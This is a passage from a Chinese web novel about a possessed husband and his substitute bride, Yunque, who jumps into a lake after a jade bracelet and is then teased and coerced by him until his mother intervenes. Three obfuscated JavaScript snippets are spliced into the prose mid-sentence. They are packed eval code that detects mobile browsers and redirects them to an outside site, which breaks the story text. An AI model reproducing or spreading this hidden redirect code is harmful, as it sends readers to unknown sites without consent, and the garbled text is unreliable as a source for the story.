江聿风此人,他自是相识。其兄长江聿秋手握北境兵权,永定侯府在西北军中根基深厚,正是他欲极力拉拢的对象。奈何永定侯自早年受军伤后便深居简出,远离朝堂纷争,态度始终在他与老四之间暧昧不明。 他当年费尽心机,好不容易撬动江聿秋一丝松动。特意设宴相邀数家交好门第,意在向江家递出橄榄枝。 可谁知席间作诗助兴,江聿风一首咏罢,那谢家小姐谢嫣嫣竟因诗中隐有慕色之意,便当众挑明江聿风对她存有倾慕之心,而江聿风于那般情形下,竟也默然认下。 未料谢嫣嫣非但不领情,反倒羞恼交迸,当众对江聿风极尽刻薄讥讽。更难以置信的是,那江聿风竟似被戳中了痛处,当场面色惨白,咯血染襟。 满座哗然,皆道他是被谢嫣嫣当众拒辱,不堪情伤以致呕血。 江聿秋脸色铁青,只觉颜面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995533|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽失,更迁怒于沈羡,只道若非这场鸿门宴,其弟何至于此。拉拢之事,就此彻底搁浅。 如今沈羡承袭了江聿风的记忆,方知彼时认下,不过为顾全谢家颜面及与谢三公子的情谊,并非真心悦慕。可堂堂侯府公子,竟为区区一女子的言语刺激,便当众失态呕血至此,属实不堪。 思及此,沈羡不由抬手摁上右胸口。他本就对这具孱弱之躯颇有不满,眼下听得声声控诉,只觉这颗不属于他的心刺挠难受。 他忍了又忍,直至墨翎口中清晰无比地蹦出那句“也从未似今日这般……喜怒无常”。 沈羡脸上的最后一丝平静彻底消失。 “喜怒无常?”他霍然抬眸。 墨翎先是愕然,尔后眼中竟浮现出一点真实的委屈,声音也带上些许豁出去的意味:“适才在东院回廊,您与少夫人同行时,分明心情是极好的。可后来……不知怎的,突然就冷了脸。” 他见“江聿风”只是面沉似水地听着,胆子不由又大了两分,索性将话挑得更明:“您从月湖边独自回来,分明是不高兴的。可后来……后来见了桌上那碟栗子千层酥,不知为何,您对着那点心怔忡出神,眉宇间的戾气竟突然消散了大半……” “够了。”沈羡再听不下去,将那险些被捏碎的茶盏往桌上重重一搁。 “砰”一声,将墨翎未尽的言语都掐断在喉间。 沈羡瞥见墨翎面露错愕,沉默了片刻,指尖游移间,拈起一颗青梅脯,置于眼前,缓声道:“你我二人自幼相伴,形影不离。我的脾性、喜好,你最是清楚不过。”他顿了顿,目光似有若无地扫过墨翎,“只是从前,孑然一身,万事随心,不必顾及旁人感受,也无所谓收敛或改变。” 他轻叹一声,目光投向虚空,似有所领悟,“如今不同了。成了家,方知这世间情之一字,最是难控。夫妻相处之道,更是深如瀚海,玄奥难测。人处在其中,如同稚子学步,需得时时体悟,步步调整。故此——” 视线重新落回墨翎身上,“有些习惯,从前如何,并不代表日后也理应一成不变。记住了么?” 墨翎的头垂得更低了,良久,依旧恭谨地道了声:“是,记住了。” 沈羡似乎对这个答案还算满意,指尖在桌面上轻点两下,忽又似想起什么,续道:“至于气色。” 他低笑一声,“昨夜初经人事,方知何为‘芙蓉帐暖’,何为‘人间极乐’。这阴阳调和之道,本就是滋养气血的无上妙法,气色焉能不好?日后待你成了亲,自然……也就明白了。” 指尖微松,青梅脯无声掉落碟中。 墨翎耳尖瞬间涨红,半晌才闷闷哼出一声“是”。 沈羡不再看他,眼底那点刻意的旖旎散去。他刚要搁下茶盏,忽闻外间一声惊呼: “不好了,不好了——!” 二人同时闻声望去,只见麦冬跌跌撞撞地扑跪在门口,脸色惨白如纸,带着哭腔道: “二……二少爷,不好了!少……少夫人她……跳湖了!!” 15. 落水 …… 房内人影匆匆,丫鬟们忙忙碌碌,端热水的,取换衣物的,进进出出,带起细碎风声。 日影西移,长长的窗格影子投在地上。 大夫把过脉,汤药也强灌了下去,下人渐次退去,可榻上躺着的人依旧一动不动。 沈羡沉默地立在榻边,眼底似凝了墨,沉沉落在榻中昏睡之人身上。 不知是湖水未及干透,还是梦魇惊出了薄汗,几缕濡湿的鬓发贴在她微烫的颊边,眉心轻蹙,似笼着散不去的神伤。 许是日头晒得久了,双颊泛着浅淡的潮红,映在那失血的唇上,更显出一分荏弱易碎来。 墨翎和莲子分立身后,一个眼观鼻鼻观心,另一个目光在两位主子间逡巡片刻,转身朝门口的麦冬打了个眼色,“还不快说,到底怎么回事?” 麦冬自湖边归来便惊魂未定,乍闻这声诘问,她浑身一颤,哆嗦着回道:“二少爷,奴婢、奴婢实在不知。奴婢按您吩咐送点心去月湖边,才瞧见二少夫人,还未走近……就见她朝着湖里走,分明是要跳下去!” “奴婢赶忙上前阻拦,谁知二少夫人十分恼火地推开奴婢,执意要跳湖,说、说什么有东西掉湖里了,非得立刻捡回来……” 沈羡的眸色更深了。 麦冬见他沉默不语,唯恐他不信自己,“噗通”一声跪伏于地,“二少爷,奴婢不敢有半句虚言!确实是二少夫人自己要跳湖的,奴婢拼了命阻拦,可实在拗不过少夫人……她说那玉对她万分重要……” “玉?”不等莲子说完,沈羡冷声截断。 麦冬先是愣了一下,抬头见他神色难辨,仔细回想片刻,才又笃定地点头,“是,少夫人确实提了玉。” 沈羡不再言语,似乎已经听到想听的答案。 好半晌,他才动了一下,兀自落座榻沿,抬手抚上云雀的眉梢。 她的眉心还拧着,无法抹平,似乎在梦中仍然忧心什么。 他自然知道她为何忧心。 沈羡喉间逸出一声低笑。 三分了然,三分讥诮,糅着一种莫名畅快的……满足。 “早知今日,又何必当初?”他唇间勾着意犹未尽的轻笑,指尖开始不受控地向下游走。 拂过她的脸颊,唇瓣、颈侧,落至她的衣襟口,轻轻挑开,在颈窝处缓缓画下一个圈。 笑意顿收。沈羡他喉结微动,沉下声问道:“少夫人出水时,手中可曾攥着什么?” 莲子的抽泣声一滞,缓了片刻,哽声道:“没……少夫人是爬到岸沿才力竭昏厥的。奴婢几个把人拖上来时,并未见到少夫人手里攥了东西。” 沈羡眸色一黯,“墨翎。” 墨翎一直眼观鼻鼻观心立在身后,听闻这声唤,只以为有何紧要吩咐,立时上前,“在。” 岂料下一刻,听到的却是令他目瞪口呆的四个字: “抽干湖水。” 墨翎呼吸一窒,“抽干湖水?可是公子……”剩下的话被自家主子一记冷冽眼风生生截断。 沈羡冷道:“何时起,我的话何时需要重复两回了?” 墨翎张了张嘴,垂首应下:“……是。” 他侍奉江聿风十余载,公子素来性子淡泊,主仆二人皆是喜怒不形于色。南院因主子无所求,长年相安无事,甚至根本无甚悲喜可言。 然而今日,只这短短一日,他那颗心已不知起起落落多少回了。 眼下,得了这道匪夷所思的命令,他嘴上应了是,可面上表情却是再难控制,眉心拧作了一团。 那可是月湖。 虽说湖水不深,却引了城中碧波湖的活水,湖面开阔。如今虽非雨季,水势稍缓,但要抽干这般偌大的活水湖,谈何容易。 这厢,墨翎心头重石未落,那厢,锦褥间忽地传来一声细微的抽吸。 云雀做了个深深的梦,一脚踩回了奉川燥热的午后—— 梦里,蝉鸣聒噪,晒得石板发烫。 “成了!”阿九一个闪身冲进他们藏身的破棚子,怀里鼓鼓囊囊,白花花的大馒头几乎要从他敞开的破衣襟里蹦出来。 他小脸涨得通红,全是汗水和得意,“姐,快看!今儿个老张头打盹,咱们发了。” 云雀眼睛瞬间瞪圆了,扑上去一把搂住那些暄软滚烫的“战利品”,心花怒放:“这么多?阿九你出息了。”她狠狠揉了一把阿九汗湿的脑袋,两姐弟兴奋得原地蹦跶了好几下。 两人一屁股坐在阴凉的泥地上。 云雀豪气干云地把最大的馒头掰成两半,塞了一半给阿九:“来,趁热乎,今儿管够。” 阿九接过馒头,张嘴就是一大口,烫得龇牙咧嘴直抽气,嘴角却咧到了耳根:“呜…香,真香!比过年的肉还香。” “慢点,烫不死你。”云雀笑骂着,自己也迫不及待咬了一大口,麦甜香混着热气在嘴里炸开,她满足地喟叹一声,“值了。” 两人埋头苦干,狼吞虎咽,一个、两个、三个…… 可吃着吃着云雀就觉得不对劲了。 “阿九……怎么……怎么还是饿?”云雀摸着依旧瘪瘪的肚子,看着地上迅速减少的馒头堆,一股莫名的恐慌涌上来。明明已经吃了那么多,肚里却像个无底洞。 阿九也停下了来,皱着眉,困惑地摸了摸肚子,“是啊,怪了……” “邪了门了!”云雀不信邪,抓起半个馒头又咬了一大口,用力嚼了几下咽下去,然后……瞪着眼仔细感受。 肚子里那点东西像泥牛入海,连个水花都没溅起来。 “咋样姐?饱了吗?”阿九眼巴巴地问。 云雀一脸茫然地摇头:“……没,跟没吃似的。” “我试试。”阿九有样学样,狠狠咬一口,用力咽下去,屏息凝神感受片刻,小脸垮下来,“……没饱。” 奇怪……两人面面相觑。 阿九抓了抓乱糟糟的头发,绞尽脑汁,“那…那喝水,喝水总行,灌个水饱!走阿姐,咱去找水,灌它一肚子凉水,看它还叫不叫。” 他一个骨碌爬起来,拉着云雀四下眺望,果真见到不远处一片粼粼波光,“姐,快看,有湖,那儿有一片湖……” 云雀大喜,两人正欲往前冲,耳边突然传来一声仿佛来自地府深处的沉沉声响: “抽——干——湖——水——” 抽干湖水?谁要抽干湖水? 云雀一惊,未及她想明白,眼前的蝉鸣、麦香、阿九拉着她冲向“湖水”的急切背影……所有色彩与声音如同褪色的画卷,逐寸逐点被撕扯、吞噬。 她浑身剧震。 “嗬——”一声短促惊悸的抽气后,身下是锦被的柔软触感传来,意识像沉船般艰难浮出水面。 云雀彻底惊醒,这才意识到梦里那声音,是江聿风的。 他竟要抽干湖水? 云雀的双眼并未睁开,却还是抑制不住闭得更紧了。 那湖底沉着她用来裹尸的素布,里面还胡乱塞着些沾了血的帕子。这恶鬼又打的什么主意,他要攥着这些,把她彻底拿捏死吗? 想到这里,她再按捺不住,佯装初醒,轻唤了声:“夫君……” 声音带着惺忪睡意特有的绵软,似浸了温水,丝丝缕缕缠绕上来。 沈羡搭在她颊边的手几不可察地一僵,喉结上下一滚,出口的声音竟是自己也未曾料想的低柔。 “醒了?” 这低柔的嗓音落下,云雀睫羽轻颤,彻底睁开眼。 视线尚有些朦胧,却直直撞入一双同样敛去了所有锋锐的深眸里。 她心尖无端一颤。 第二回了……第二次见到这般模样的“江聿风”。 她实在不得不承认,眼前这张脸,这双眼,只要卸下那惯常的阴森鬼气与喜怒莫测,还真的能轻而易举撩拨她的心。 这份温柔甚至让她有刹那的恍惚,依稀想起三年前那个人,只是…… 云雀下意识抬手,习惯性地便要探向自己颈窝下方,然而手刚抬到一半,她突然想起“江聿风”那浸染着猩红戾气的眼尾。 手腕一僵,指尖悬在半空,不敢再动了。 然而,这细微的动作精准地落入了沈羡眼底。 仿若有点点星火自他眼底燃起,原本紧抿的薄唇牵起一丝极淡的弧度。 那笑意短促却复杂,一丝恍悟,一缕了然,甚至还有一星几乎要破土而出的…… 冲动。 云雀不明其意,只觉这突如其来的笑叫她直瘆得慌。 她喉咙下意识吞咽,想开口打破这诡异的气氛。然而,指尖未及收回,手腕已被一只微凉的手猛地攥住。 熟悉的冰凉触感贴上肌肤,随之而来,是一声低哑的,“听说,娘子是自己跳入湖中的?” 声音温柔得不正常。 云雀心中一紧,她就知道,此鬼方才莫名那一笑没那么简单,果然依旧在纠缠那玉佩之事。 是,没错,是她自己跳进湖里的。但不是为那玉佩,而是为捡手腕上这只玉镯。 她低头看向腕间。 方才在湖边,她被这恶鬼气得心火乱窜,抓起石子就狠狠掷向湖心泄愤。谁知用力过猛,腕子一甩,这玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995534|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈本就大,沾了汗,整个镯子滑溜溜地竟跟着脱飞出去。 湖面茫茫,那双玉佩被“江聿风”扔入湖,不敢当场捡回来便算了,人总归要学会与那些不该想的人,不该留的东西诀别。 可这镯子不同,这可是她自个儿的体己,丢了它,这头不好交待是小,没了白花花的几百两银子事大。麦冬那丫头虽不知从哪儿冒出来碍事,死命拉扯,但到底被她仗着力气大挣脱了,及时扑进湖里摸了回来。 沈羡见她垂眸不语,只当是默认,声音更缓一分,“可是为了那……” “没错!”云雀抢声截断他话头,将备好的托辞掷地有声。 “说来都是妾身的错,”她眉心轻颦,指尖摩挲着腕间滑溜溜的玉圈,幽幽一叹,“妾身谨遵夫君嘱咐在湖边晒日头,奈何实在燥热难当,又不敢擅离,只得掬些湖水稍解烦热。岂料这镯子实在宽了些。” 她手腕微扬,做了个甩水的姿势,“不过这般轻轻一荡,竟脱腕飞了出去。此物乃祖母亲赐,江家传世之宝,妾身便是拼了性命也要寻回,这才……” 后头的话未尽,只因她抬眸撞见“江聿风”的脸色,阴云密布,沉得能拧出水来。 不信? 云雀心念急转,索性将戏做足,语调掺入十二分痛切与后怕,“万幸……万幸妾身手快捞了回来。若真就此遗失,妾身百死莫赎,如何对得起江家列祖?对得起老太君的慈恩?又如何对得起……”她咽了咽喉咙,挤出三个违心的字,“夫君你。” 七情上面,堪称情真意切。 空气仿佛一瞬凝滞。 沈羡凝视她许久,凝视着她情真意切的表情,凝视她七情上面的表演,凝视她琉璃般的瞳仁中倒映出的、那张不属于他的脸。 渐渐地,眸中翻涌的邪火竟奇异般褪去,化作一种极其复杂的眼神。 是啊。 他如今是江聿风,是与她拜过堂、喝过合卺酒,又被她亲手沉入湖中的“活尸”,而她顶着林家四小姐的身份,自然不会显露分毫对那个“死去的沈羡”的怀念。 她惯来这般倔强,这般嘴硬心软,口是心非。 眸底那点复杂的情绪凝结成冰。倏忽间,他眸中冰面竟缓缓裂开一道缝隙,一丝极慢、极诡异的笑意从中渗出。 即便他对这副身子颇为厌弃,但他不得不承认,在这一刻,看着她在“江聿风”编织的囚笼中自作聪明地扑腾,竟尝到了一丝说不清道不明的兴味。 他突然改变主意了。 既是一只云雀,一只不听话的雀,那便合该关在笼中,欣赏祂扑腾翅膀挣扎的姿态。 沈羡伸手将她散落鬓边的碎发别至耳后,“为难娘子了。” 言罢,长指缓缓滑落,撩开被衾,指腹如抚弄雀鸟翎羽般,顺着臂腕线条一寸寸抚下,手臂、手腕、手背,直至拢住那只柔软的手。 垂眸审视片刻。 他随意道:“既是玉圈太大,那便由为夫先替娘子保管罢。” 话音落,云雀腕间一空。 什么!? 云雀错愕抬头,难以置信地盯着他,确切地说,是盯着那只玉镯。 眼见它脱手、被他攥紧、渐行渐远……她几乎本能地弹坐弹坐而起,伸手便要去夺,“不劳夫君了,妾身自己保管就好,否则老太君日后问起,妾身如何交待。”语气温顺,手上动作却又快又猛。 谁知对方突然倏地将手背至身后,云雀云雀收势不及,整个人直直扑入他怀中,颊侧正贴上他左心口处。 耳下一片死寂。 云雀浑身一僵,急要撤回身子,岂料一抬身,手腕再度被那只冰冷的长掌死死钳住。 沈羡一手擒住她双腕,好整以暇地迫视她眼底;另一只手拈着那玉镯,在她眼前轻晃,“好心”问道: “想要?” 两个字悠悠淡淡吐出口,却重重砸在云雀心上,一股怒气直冲天灵盖。 欺人太甚,简直是欺人太甚! 她吴云雀是怕死,也没少受过羞辱。从前要么咬牙认错,要么虚与委蛇,要么苦苦求饶,至多挨顿打,总能熬过去。 但眼前这般,什么法子都试过了,甚至她都答应口渡阳气这种要命的事了。他却依旧一而再再而三,将她如视如掌中雀般戏谑玩弄。 心中羞怒如滚水气泡,越涨越烈,竟头一次压过畏惧,头一次涌出豁出性命的念,头一次觉得死……也不过如此。 后槽牙紧了又松松了又紧,只觉发痒得很。她盯着那张居高临下、写满狎玩的脸,再忍无可忍,不管不顾,对准那只可恨的手,一口狠咬下去! 16. 救星 云雀气红了眼,不管不顾,对准沈羡虎口上方,狠命一口咬下。 沈羡蓦地僵住。 并非因那尖锐的痛楚。而是痛楚裹挟着的奇异触感。温热、柔软、濡湿…… 那是她的唇、她的舌紧贴他皮肤的感觉,像一片轻柔的羽毛,猝不及防地撩上他沉寂的心尖。 骚骚痒痒,竟叫他生出一股贪婪的渴望。 久一些……再深一些…… 他垂眸,看着那排剧烈颤抖的长睫,感受着齿关下传递的、属于她的鲜活。一股难以言喻的、近乎颤栗的舒爽席卷全身。 原来,比一只不听话的雀鸟更有趣的,是一只敢啄人的雀鸟。心底似有什么被点燃、沸腾,他竟愈发舍不得撕开这层伪装了。 云雀拼尽全力,齿关都咬得酸软发麻,对方却纹丝不动。这诡异的静止如同一盆冰水,猛地浇熄了她部分怒火,抽回一丝清明。 是了。他是鬼,如何感知得到疼痛。 可他这般一动不动,似乎是在……任由她撕咬? 一股悚然的不安猛地揪住心脏。齿关下意识松脱,她怔怔抬眸。 而这一眼,云雀彻底呆住了。 眼前这恶鬼非但无半分怒意,那双深潭般的眼中,竟漫开浓稠的、近乎痴迷的笑意。他贪看着她,仿佛沉醉于一场赏心乐事。 一个荒谬到令她肝胆生寒的念头蹿出来: 他……在享受。 此念一出,巨大的无力感与恐惧感蔓延而上,瞬间裹住云雀全身。 她错了,原来她一直想错了。 眼前这东西哪里是什么怨灵恶鬼,分明是个彻头彻尾的疯子!这一日一夜折腾下来,讨好无用,哀求无用,豁出去撕咬反成了取悦他的乐子。 她心尖猛地一缩,慌乱起来。 云雀拧身死命挣扎,腕骨剧痛钻心,却只换来对方眼中愈燃愈烈的、近乎灼人的兴味。 沈羡眼底微不可察地一动,似被这徒劳的挣扎挑起兴致。 他目光冷冷扫向角落,声音不高,却沉沉压下:“都退下。” 那几个早已屏息僵立的下人浑身一抖,连声应“是”,踉跄着争先恐后退出房门。 云雀惊恐地瞪大眼,难以置信地看着人影一个个消失,他要做什么!? 她转向沈羡,“你、你不是说戌时三刻才……” 一声冷笑截断她,沈羡擒住她双腕的手往怀中一扣,摁向自己冰冷的左胸,慢悠悠道:“方才娘子那一口,咬得为夫心口生疼,须得即刻渡些阳气。” 他似乎已等不及下人退尽,欺身而来,然而下一刻,一声微弱颤音几乎夹着门扉合拢的声音,一同传来: “夫、夫人……” 紧接着,一道清亮的女声陡然炸响,“云舒——” 旱林逢甘也不过如此。 沈羡眸色一沉,喉间无声滚动,胸口几番起伏才逼迫自己缓缓退开。 扣在云雀腕骨上的力道,不着痕迹地松卸了几分。 他这一松,云雀简直如蒙大赦,脊背骤然一软,劫后余生的虚脱感席卷全身,默默地喘出一声“阿弥陀佛”。 她几乎迫不及待地抽回手,强撑着虚软的身子往后急退,目光急切地投向门口那尊“救命菩萨”。 只见侯爷夫人苏氏步履匆匆,满脸忧急,人未至榻前,关切已脱口而出,“云舒,身子怎么样了?可吓煞母亲了,身上可还冷?头还晕不晕?”说着已挨到榻边,也不顾榻旁那位周身气压已降至冰点的人,不由分说地抬手覆上云雀的额头。 云雀偷觑“江聿风”,蓦地撞入一双幽冷深眸。也不知是否错觉,她总觉得那眼底似蛰伏着无声的威胁。 到底还有两日要挨,两日后能否脱身也还是未知之数。眼下理智重新回笼,她几番纠结,终是选择强压惊悸,乖顺应了声,“劳母亲挂心,舒儿无碍……” 可话未说完,锦被下突然应景地传出几声“咕噜”轻响。 声响不大,却正正落入榻边坐着那人耳中。 沈羡唇角微勾,状似无意地摩挲着虎口处的齿痕,“娘子似乎真饿狠了。” 云雀暗暗咬了咬后牙槽。 不过抛开话中深意,他这话其实不假。外头夕阳都快落尽了,她上一口吃食,还是昨夜奔逃时强咽下的半块冷硬芙蓉糕,早已饥肠辘辘。 尤其是苏氏到来,冲淡了几分惊惧羞愤,腹中竟愈发擂鼓震天地响起来。 余光不经意扫过榻边稳坐如山的身影,云雀心底暗啐: 这恶鬼枯坐半晌,先是捏着人手作痴缠状,摆出一副情深似海的模样,转眼又将她当做雀鸟般逗弄取乐。退一万步说,即便是养只雀,也得喂食不是?若她真饿断了气,抑或被他逼疯了去,倒看他这副躯壳,寻谁去渡那什么破“阳气”。 所幸,这偌大侯府,除却这尊讨债鬼祖宗,旁人倒还存着几分热气。 她眼见苏氏贴心地吩咐身后的丫鬟准备膳食,又转而恨铁不成钢地指责自己儿子如何不知心疼人,字字句句,简直如清冽山泉,听得心里一片舒坦,总算将她在湖边积攒的郁怒灭了些许。 云雀看着“江聿风”脸色铁青,一副吃瘪的模样,心头那根紧绷的弦,终是松了下来,唇边不由漾开一抹幸灾乐祸的浅笑。 笑意虽清浅,却发自内心,也是她一日一夜惊恐惶然之后,唯一一瞬喘息。 本就澄澈的眼底似漾出暖泉,偏眼角眉梢又藏着一尾灵动狡黠的小鱼儿,随着眸光流转,轻轻啄在某人心尖上。 不知是耳边的絮叨太碎,还是那尾鱼儿太不安分,沈羡阖了阖眸,捏着玉镯的指节白到发青。 “……明儿我就让李嬷嬷炖上血燕,早晚送来给你补身子……”苏氏还在絮絮叮嘱,转头见自己儿子一脸不耐。 目光又转向儿媳,竟是垂着头,抿着唇在偷乐。 眼前这情景,不是打情骂俏还能是什么。 苏氏眼底漾开欣慰,面上却佯作无奈轻叹,“罢了罢了,你们夫妻二人的小情致,母亲也不便多说。只是打情骂俏也得有个分寸,什么跳湖、绝食之类,是万万使不得的。倘若惊动了老祖宗,风儿,我看你如何交待。” 沈羡敛神,下颌几不可察地一点,算是应承。 苏氏显然不满意他这敷衍态度,责道:“既是应下了,还凭的攥着这镯子做什么,还不赶紧给舒儿戴上?” 沈羡胸口重重地起伏了一下,似平复了一阵,才冷声道:“是,母亲。” 他这副隐忍之色看得云雀实在舒爽,心底小人仰天长笑,直叫她将方才受的惊吓都抛诸脑后,原来也并非没有可降服这恶鬼的人。 她强压住心中窃喜,柔顺应道:“舒儿谨记,再不敢了。”末了,纤腕一抬,恰恰悬停在沈羡眼前,晃了一晃。 那张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995535|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更沉了。 玉镯重新带回手上,云雀心头总算定了几分,悄然吁出一口绵长的气来。 苏氏见她低眉垂眼,只当是乏了,赶紧将正经事先说了。 “嬷嬷,”她回身从李嬷嬷手中取过一本名册,“对了,舒儿,这是林府随你一同陪嫁过来的下人名单。秦嬷嬷方才提起,道这些都是你从前在身边使唤惯了的贴心人。按咱们府里的规矩呢,母亲自然要问问你的意思——”她含笑注视着云雀,“是否把他们都拨来南院,方便你使唤?” 云雀心中霎时雪亮。 她这冒牌的身份,林府自然得提前打点周全。秦嬷嬷这番说辞,无非是告诉她:这些陪嫁下人都是林府精心挑选、对替嫁之事一无所知的“自己人”。可阿九是今晨自己混入南院的,也不知那黑衣人是否在这名册里做了手脚,有没有记他的人头,又记了何名?他们在这府里还有两日要挨,还是看一眼稳妥。 她抿唇点了点头,“母亲费心了。秦嬷嬷既已仔细掌过眼,必是稳妥的,可到底是要贴身伺候的,还是多看一眼为好。”说着,便伸手去接。 然而下一刻,一只玉白的手已先她一步将名册接入手中。 沈羡不急不缓道:“娘子身子方才缓过来些,岂能费神看这些琐碎?这等小事,为夫代劳便是。” 云雀自然不肯,“不必了,林府旧仆夫君也不认识,还是我……” 话音未落,沈羡已然信手翻过册页,根本不留给她辩驳余地。 册页轻薄,拢共不过四五页纸。 云雀的心却随着声声翻页声提了起来,总觉得他看似随意的动作藏着别的心思,正欲凑过脸去看一眼。 “啪!”名册在他掌间猝然合拢。 沈羡眼帘微垂,沉默了片晌。下一刻,竟将名册递至她眼下,“身家倒都清白。只是这些名姓……”他语声微顿,目光停在云雀脸上,“还需娘子亲自过目。” 云雀微怔,虽不解其意,却也懒得多想,横竖不过扫几眼名字罢了。她低声一应,接过名册,一目十行看起来。 待看到“林九”二字时,心中一定,好家伙,还真有。眸光悄悄移向侧旁小注:奉川人士,世代躬耕。三年前椿萱并凋,赴京投亲不遇,卖身林府为仆。 合情合理,有根有据,瞧不出破绽。 “可有疑虑?” 见“江聿风”似乎察觉到她目光停滞,云雀忙移开眼,摇了摇头,仰起脸笑道:“没什么?看完了,的确都是从前使唤开的体己人。” 沈羡唇角勾起浅浅一笑,将名册递还给苏氏,温言道:“有劳母亲,都拨来南院吧。” 苏氏见他二人看个名册都黏黏腻腻,一来一回,自当知情识趣些,忙朝身后另一个丫鬟示意。 那丫鬟无声上前,手中托盘上放着一个青布包裹的药盒。盒盖甫一揭开,一股浓郁的苦药味便弥散开来。 苏氏道:“云舒,这是风儿这几日药浴用的药材,多是些驱寒散风之品。方才母亲特意问过孙医圣,他说秋日湖水沁骨,寒气最易入体,不可不慎。你且与风儿一同浸几日药浴,好生驱驱这寒气,省得落下病根。” 她语气平和,仿佛在说一件再寻常不过之事。 然而这轻飘飘一句“一同浸几日药浴”,听在云雀耳中,却无异于九天惊雷。 她愕然抬眼,连声音都变了调:“一……一同……药浴?!”